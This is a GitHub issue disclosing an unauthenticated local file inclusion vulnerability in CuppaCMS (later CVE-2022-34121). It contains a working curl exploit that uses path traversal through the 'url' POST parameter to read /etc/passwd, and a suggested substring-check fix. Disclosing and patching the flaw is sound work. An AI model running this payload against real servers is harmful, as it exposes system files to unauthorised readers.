Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Non-authenticated Local File Inclusion vulnerability in CuppaCMS templates #18

Open
hansmach1ne opened this issue Jan 6, 2022 · 2 comments

Comments

@hansmach1ne
Copy link

hansmach1ne commented Jan 6, 2022

Cuppa CMS suffers from local file inclusion vulnerability in '/templates/default/html/windows/right.php' script using $_POST['url'] parameter.

Using the following exploit it is possible to include arbitrary server file:
curl -X POST "http://IP/cuppa/templates/default/html/windows/right.php" -d "url=../../../../../../../../../../../../etc/passwd"

PoC:

image

Possible solution: $_POST['url'] should be sanitized against truncation (../ or ..\ , etc...).

Disclosure date: 6th January, 2022
Reference: https://github.com/hansmach1ne/MyExploits/tree/main/LFI_in_CuppaCMS_templates

@hansmach1ne
Copy link
Author

@tufik2 This vulnerability has pretty high severity and should be fixed ASAP.

In '/templates/default/html/windows/right.php' script, line 53 my suggestion is to add the following:

$url = $_POST["url"];
if(strstr($url, "../") || strstr($url, "..\\")){
echo "Security attack!";
exit;
}
include realpath(DIR . '/../../../..')."/".$url;

Looking forward to your response.

@hansmach1ne
Copy link
Author

CVE-2022-34121 is assigned to this vulnerability.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant